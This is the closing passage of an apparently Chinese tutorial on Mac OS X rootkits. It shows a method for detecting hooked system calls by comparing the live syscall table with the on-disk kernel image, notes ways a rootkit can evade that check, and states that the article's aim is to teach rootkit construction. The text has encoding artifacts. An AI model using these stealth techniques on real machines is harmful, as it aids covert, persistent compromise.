前 面已經介紹了勾掛系統(tǒng)調用的具體步驟,現在我們將展示一個簡單有效的檢測劫持系統(tǒng)調用的方法。如前所述,在導出符號nsysent的地址上加32字節(jié),就 可以得到系統(tǒng)調用表的基址,而且nsysent保存了系統(tǒng)中可用的系統(tǒng)調用函數的數目,在10.5.6版Mac OS X上的值為427 (0x1ab)。
現在欲檢測當前系統(tǒng)的系統(tǒng)調用表是否已被滲透,就需要一個像原始表一樣的對比標準。在Mac OS X文件系統(tǒng)的根目錄下,我們找到一個名為“mach_kernel”、未壓縮、通用的內核鏡像文件,以16進制的方式打開,可以看到下面的數據片段:
# otool -d /mach_kernel | grep -A 10 "ab 01"
[...]
0050a780 ab 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050a790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050a7a0 00 00 00 00 94 cf 38 00 00 00 00 00 00 00 00 00
0050a7b0 01 00 00 00 00 00 00 00 01 00 00 00 6a 37 37 00
#
在 地址0050a780處,我們看到了這個神奇的數字——427 (0x000001ab),可用的系統(tǒng)調用數。往后移動32個字節(jié),有數值0x0038cf94,這就是系統(tǒng)調用表的起始位置。那剩下的只用將鏡像拷貝至緩沖區(qū),找到nsysent的偏移,再加上32個字節(jié),返回一個指針作為原始的系統(tǒng)調用表的起始地址就可以了,這所有的步驟都可以用下面的C語言代碼來實現,如文中的 代碼所示(恕不列出)。
文中的代碼可用作一個簡單的檢測函數,還有不盡如人意的地方。攻擊者可以操縱SYS_open調用, 并在訪問/mach_kernel鏡像時將控制流轉移到Rootkit定義的文件中去。而且該方法尚不能檢測系統(tǒng)調用的函數內聯(lián)勾掛(inline function hooks),要解決這個問題還需要更多復雜的檢測技術。
7 總結
Mac OS X操作系統(tǒng)上的Rootkit已經不再是一個全新的話題了,但是至今還缺乏像Windows和Linux那樣全面而細致的研究整理??催^本文,或許你已感 覺到這其中的技術和類Unix操作系統(tǒng)的十分類似,但是又帶有OS X自己的,諸如I/O Kit和Mach API等可以滲透XNU內核的鮮明特征。
操縱系統(tǒng)調用、內核內部的數據結構以及XNU內核的其他部分,對Rootkit隱藏進程、文件和目錄,甚至通過后門來遠程操控的 功能都是至關重要的。所有這些都可以通過內核擴展程序和Mach API來實現,兩種技術雖有不同,但都可以應用到我們的Rootkit中,用的好的話,Rootkit的隱蔽性能將大大提升。
本文的目的在于給出Rootkit的基本概念,針對不同級別的讀者群體,以引導和介紹的方式向大家展示一個Mac OS X Rootkit的制作過程。最后,在本文結束時,我也衷心的希望本文能夠給大家?guī)硪恍┦斋@和體會。^_^